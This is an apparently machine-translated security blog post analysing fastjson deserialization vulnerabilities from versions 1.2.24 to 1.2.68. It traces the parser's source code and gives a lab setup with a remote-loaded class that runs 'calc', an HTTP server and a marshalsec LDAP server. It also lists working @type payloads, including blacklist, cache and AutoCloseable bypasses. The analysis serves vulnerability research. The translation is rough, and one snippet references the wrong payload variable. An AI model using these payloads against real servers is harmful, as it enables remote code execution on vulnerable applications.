Analysis of fastjason deserialization series vulnerabilities

Posted by cmaclennan on Sat, 18 Dec 2021 18:23:57 +0100

1, Basic introduction

Fastjason is Alibaba's open source library for parsing and packaging JSON format data. Java objects can be serialized into JSON strings, and JSON strings can be deserialized into Java objects.

When the deserialized object type and property information are specified, the setter method will be automatically executed. Specify the deserialized class through @ type in the JSON string.

JSON string format is as follows

Let's start with a deserialization test (the test environment of this article is: Windows 10, fastjson version 1.2.24, JDK version 1.8.0)

import com.alibaba.fastjson.JSON;

public class user {
    private int age;
    private String name;

    public void setAge(int age) {
        this.age = age;
        System.out.print("[Yes set [method]");
    }

    public void setName(String name) {
        this.name = name;
    }

    public static void main(String[] args) {
        String str1 = "{\"@type\":\"user\", \"age\":24, \"name\":\"jinzhi\"}";
        String str2 = "{\"age\":24, \"name\":\"jinzhi\"}";

        Object user;
        System.out.println("--------------------------str1, belt@type----------------------------");
        user = JSON.parseObject(str1);
        System.out.println("Parsing does not specify a type: " + user.getClass().getName());

        user = JSON.parseObject(str1, Object.class);
        System.out.println("Resolve assignment Object type: " + user.getClass().getName());

        user = JSON.parseObject(str1, user.class);
        System.out.println("Resolve assignment user type: " + user.getClass().getName());

        System.out.println("--------------------------str2, No@type----------------------------");
        user = JSON.parseObject(str2);
        System.out.println("Parsing does not specify a type: " + user.getClass().getName());

        user = JSON.parseObject(str2, Object.class);
        System.out.println("Resolve assignment Object type: " + user.getClass().getName());

        user = JSON.parseObject(str2, user.class);
        System.out.println("Resolve assignment user type: " + user.getClass().getName());

        System.out.println("-------------------use parse()function, Type cannot be specified while parsing----------------------");
        user = JSON.parse(str1);
        System.out.println("belt@type: " + user.getClass().getName());

        user = JSON.parse(str2);
        System.out.println("No@type: " + user.getClass().getName());
    }
}

Conclusion:

According to the execution of the set method, there is a deserialization vulnerability when the specific type of the object is not specified in the deserialization code. You can specify a deserialization class by @ type and execute a specific setter method by specifying an attribute.

2, Brief introduction to JdbcRowSetImpl utilization chain

The JdbcRowSetImpl utilization chain is made by @ matthias_kaiser discovered it in 2016

According to the above conclusion, you need to find a special class. The setter method of this class can perform code injection or command injection. And com sun. rowset. Jdbcrowsetimpl is a class that meets this condition and implements command execution through JNDI injection.

  1. Through fast JSON deserialization, you can call the setter method of the execution target class to assign the member variable

  2. First find com sun. rowset. The JdbcRowSetImpl#connect method calls the lookup method in the method and the reference is this.. Getdatasourcename(), and there is a setDataSourceName method in this class, it indicates that the parameters passed by the lookup method are controllable

  3. Next, we will find where to call the connect method. According to the 1 conclusion, we need to find a setter method in the class. The connect method is called in the method. A simple search reveals the setAutoCommit method

  4. Therefore, two attribute values need to be passed in the JSON string: DataSourceName and AutoCommit. The former is the address of the JNDI server as the lookup parameter, and the latter is used to execute the setAutoCommit method to trigger the execution of the connect method

  5. Finally, the payload of RCE is constructed (DataSourceName must be placed in front of AutoCommit, because during deserialization, the setter method is called according to the sequence of strings to assign variables)

    {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}
    

    Here, the JNDI server uses LDAP

3, Environment construction
  1. Compile attack classes that need to be loaded remotely (the constructor can execute commands on the line)

    public class ExecTest {
        public ExecTest() throws Exception {
            Process calc = Runtime.getRuntime().exec("calc");
        }
    }
    
     javac ExecTest.java
    
  2. Start an http service in the directory where the attack class is located

    python3 -m http.server 8888
    
  3. To attack a JNDI service binding class, you need to use the marshalsec deserialization tool

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#ExecTest 1389
    
  4. Create a new maven project and start a target service, fastjson version 1.2 24. Start an interface service or test directly in the main method

    @Controller
    @RequestMapping("/fastjson")
    public class Fastjson {
        @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
        @ResponseBody
        public String Deserialize(@RequestBody String params) {
            // If the content type does not set the application/json format, the post data will be encoded by the url
            try {
                // Convert the string submitted by post to json
                JSONObject ob = JSON.parseObject(params);
                return ob.get("name").toString();
            } catch (Exception e) {
                return e.toString();
            }
        }
    
        public static void main(String[] args) {
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}";
            JSON.parseObject(payload, Feature.SupportNonPublicField);
        }
    }
    
4, Deserialization process analysis (version 1.2.24)

Before entering code analysis, let's introduce the main classes used

Class nameMain role
DefaultJSONParserJSON lexical parser, the main process of deserialization, including the specific implementation of the main methods
JSONScannerIt is specialized in scanning and traversing JSON strings. The parent class JSONLexerBase implements the interface JSONLexer
lexer.tokenint type variable, used to parse JSON string format. All predefined characters in JSON string will correspond to a token value. For example, {the corresponding token value is 12
ParserConfigConfiguration class, which stores various configuration properties, such as autoTypeSupport switch and blacklist class
ParserConfig.deserializersIdentityHashMap object, and typeutils Like mappings, some fixed common classes that are considered harmless are put in advance
TypeUtils.mappingsCache the class objects of the classes that need to be deserialized. Some common classes will be cached in advance during initialization
ObjectDeserializerUsed to perform deserialization. Each class to be deserialized corresponds to an ObjectDeserializer object

Officially start Debug, Go

  1. From JSON Enter the parseobject function (the same is true for entering from JSON.parse. In the end, they all go to DefaultJSONParser#parse(java.lang.Object), and the call chain is consistent)

  2. The trace code first comes to JSON#parse(java.lang.String, int)

    The DefaultJSONParser parser is instantiated in the function, and all parsing processes are completed in the parser from here

  1. First, follow up the construction method of DefaultJSONParser. You can see that a new JSONScanner object is created and the json string is encapsulated

    In JSONScanner, the main work is to traverse the JSON string from left to right through the ch variable, and get the currently traversed value through getCurrent

    Continue to the next layer construction method, and you can see the initialization of the token value, which is very important

  2. Jump out of the initialization of DefaultJSONParser and follow up to DefaultJSONParser#parse(java.lang.Object). Because the first character is {, it will enter the following branches to continue execution

  3. Then enter DefaultJSONParser#parseObject(java.util.Map, java.lang.Object), and the deserialization will be completed in this function

    First, traverse from the first character and enter the corresponding branch according to the character. When "key" is encountered, you can directly take out the value in the semicolon and assign it to the key through the scanSymbol function

    Then judge whether the key is @ type, enter the corresponding branch, and then load the injected class through the class name in the TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader) function

    This loadClass function needs to be analyzed. The reason why the protection of subsequent versions is bypassed is here (you can skip it first and see it later)

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className); 
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {		// If the classname starts with '[', remove it and load the class object
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) { // If it starts with 'L' and starts with ';' At the end, the class object is also loaded after removal. Note that here is a recursive call to loadClass, so there is a loophole of double write bypass later
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {										// In this branch, after loading the class object directly, put the class object into the cache mappings (this is very important and will be used in the later version 1.2.47)
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);		// After the class object is obtained, it is directly cached in mappings. In subsequent versions, cache variables will be added to control whether to cache
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }
    
                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }
    
                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }
    

    Finally, through parser deserializer. JavaBean deserializer #deserialze() instantiates the class object. Note that this (that is, the current DefaultJSONParser object is passed in as a parameter) continues to traverse the remaining JSON strings in this function to assign the member variables.

    Continue to follow up from parser deserializer. JavaBean deserializer #parsefield to parser deserializer. Defaultfielddeserializer #parsefield to parser deserializer. FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

  4. Finally, the overall call chain is as follows. It can be seen that the setter method of the member property of the target class (JdbcRowSetImpl) is called by reflecting invoke from setValue, which eventually leads to JNDI injection, loading and running the remote class (ExecTest).

To sum up:

  1. Pass in JSON string for lexical parsing (DefaultJSONParser#parseObject())

  2. Get class object (loadclass()/checkautotype())

  3. Get JavaObjectDeserializer (ParserConfig#getDeserializer())

  4. Deserialize get object (ObjectDeserializer#deserialze())

5, Vulnerability analysis of multiple versions
editionAutoTypeVersion DescriptionVulnerability principle
1.2.24Default onThe version of the vulnerability was initially reported, and fastjson officially took the initiative to disclose it in 1.2 Remote Code Execution Vulnerability in version 24 and earlier.Any class can be deserialized through the @ type attribute, resulting in arbitrary code execution
<=1.2.25yesThe AutoTypeSupport security switch is introduced to turn off the support for @ type, so that any class cannot be deserialized (turned off by default). In addition, the checkAutoType security check function is added to filter the black-and-white list of deserialized classes.Bypass the black-and-white list restriction through the class descriptor (beginning with L; end).
<=1.2.42yesThe method of bypassing class descriptors (substring is used to process strings, which is not recursive) is preliminarily repaired, and the original plaintext blacklist is changed to Hash blacklist to prevent security personnel from studying it.Double write class descriptor to bypass
<=1.2.43yesFix Double write bypass problem (two consecutive class descriptors throw exceptions directly).Use [class descriptor to bypass blacklist protection
1.2.44yesFixed the problem of using [bypass blacklist protection (throwing exceptions directly).
<=1.2.45yesNew utilization classes have emerged, directly bypassing the blacklist restriction org apache. ibatis. datasource. jndi. JndiDataSourceFactorySimple blacklist bypass
<=1.2.47noVulnerabilities before this version can be exploited only when AutoTypeSupport is enabled. In this version, by taking advantage of the class caching mechanism (the malicious class is brought in in advance through the java.lang.Class class and cached in TypeUtils.mappings), deserialization can be exploited without opening AutoTypeSupport. (the vulnerability lies in checkAutoType)fastjson will cache some basic types of class objects in mappings in advance. The class caching mechanism can bypass the black-and-white list detection
1.2.48yesFixed the vulnerability in the previous version. When MiscCodec processes the Class class, it sets the cache to false, and the default call of the loadClass overloaded method is not cached
<1.2.51After this version, the classes that can carry out JNDI attacks are basically in the blacklist, and JNDI injection cannot be realized solely by relying on JDK
<=1.2.68noThis version introduces safemode and completely turns off @ type support once and for all (if the business doesn't need it)There are two consecutive @ types in the JSON string. The class of the previous @ type will be passed into checkAutoType as the expectClass parameter. The black-and-white list verification in checkAutoType can be bypassed by using expectClass which is not empty
1.2.25
payload:
public class fastjsonTest {
    public static void main(String[] args) {
        
        String payload_25 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/ExecTest\", \"autoCommit\":true}";
        JSON.parseObject(payload_25);
    }
}
  1. Compared with the previous version, the change is to add the checkAutoType method to check the black-and-white list of deserialized classes

  2. This method needs to be analyzed. The vulnerabilities in the following versions are related to this method

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) { // If autoTypeSupport is enabled, it will enter this branch for black-and-white list matching, or if expectClass is not empty, it will also enter this branch
                int i;
                String deny;								   // The black-and-white list matching in subsequent versions will be changed to the comparison of hash values
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }
    
                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
    
            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);	// This is a way to obtain class objects without blacklist verification. It is also 1.2 The 47 version is used to bypass the point
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }
    
            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }
    
                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }
    
                            return clazz;
                        }
                    }
                }
    
                if (this.autoTypeSupport || expectClass != null) {					// This is another point where class objects can be obtained without going through the black-and-white list. It is also 1.2 Vulnerability points in version 68
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }
    
                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
    
                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {     				// Judge whether clazz inherits / implements from expectClass
                            return clazz;
                        }
    
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }
    
                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }
    
  3. Because the class descriptor before and after the class name bypasses the detection of blacklist, and then enters loadClass, and takes off the class descriptor to complete the loading of class objects

1.2.47

The following JSON string will be parsed and deserialized into two objects. When deserializing the first object, return the class instance represented by the val attribute and put the object into mappings. In this way, autoTypeSupport and blacklist are bypassed when deserializing the second class

payload:
public class fastjsonTest {
    public static void main(String[] args) {
        String payload_47 = "{\n" +
                "    \"name\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    }, \n" +
                "    \"x\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \n" +
                "        \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\n" +
                "        \"autoCommit\":true\n" +
                "    }\n" +
                "}";
        JSON.parseObject(payload_68);
    }
}
  1. Fast forward to checkAutoType and follow up

  2. Because Java. Java is pre stored in deserializers Lang. class, so you can get it directly here

    com.alibaba.fastjson.parser.ParserConfig#initDeserializers

  3. Then get the deserializer object (MiscCode class, which is the key) and deserialize it. Continue to look at the operation during deserialization

  4. After entering, the parsed string will be judged. The key value must be val before entering the following branch. Assign the value of val attribute to objVal, and then pass it to strVal (note that it is a string type)

  5. Then it will go to the following branch to load the class object represented by the val attribute

  6. Here's the point. In this version, TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean), the third parameter is True by default, and this parameter represents whether to cache class objects. Com sun. rowset. The jdbcrowsetimpl class is cached in mappings

  7. Next, when you deserialize the next class, you get the class object directly from mappings

1.2.68

When two @ type s appear in the JSON string, the class object of the first class will be used as an expectClass parameter to deserialize the class object of the second class during deserialization.

At the same time, the first class must pass the black-and-white list detection, and the second class must inherit / implement the first class, so the available classes are very limited. In 1.2 After version 51, all classes that can implement JNDI injection are currently in the blacklist, Therefore, it is impossible to execute arbitrary commands by relying solely on the classes in the JDK (which can be implemented through classes in other third-party jar packages). The autoclosable interface is a class that meets the above conditions and happens to be in TypeUtils#mappings. At present, it can be directly used through IntputStream and OutputStream (implemented from the autoclosable interface) to read and write files, but there is no public payload. Here, write a class locally to implement the autoclosable interface and test it.

ExecTest:
public class ExecTest implements AutoCloseable {
    public ExecTest()  throws Exception {
        Process calc = Runtime.getRuntime().exec("calc");
    }
    @Override
    public void close() throws Exception {
    }
}

payload:
public class fastjsonTest {
    public static void main(String[] args) {
        String payload_68 = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"ExecTest\"}";
        JSON.parseObject(payload_68);
    }
}

Follow up code

  1. Get the class object of the first class, get it directly from the cache mappings, and then deserialize it to get the instance object

  2. Pass in the second @ type parameter, start deserializing the second class, and pass the first class instance as an expectClass parameter

  3. Follow up checkAutoType. expectClass is not empty, so expectClassFlag is True. Enter the following two branches to obtain and return the class object

  4. The final deserialization returns the second class instance

***

Topics: Java cve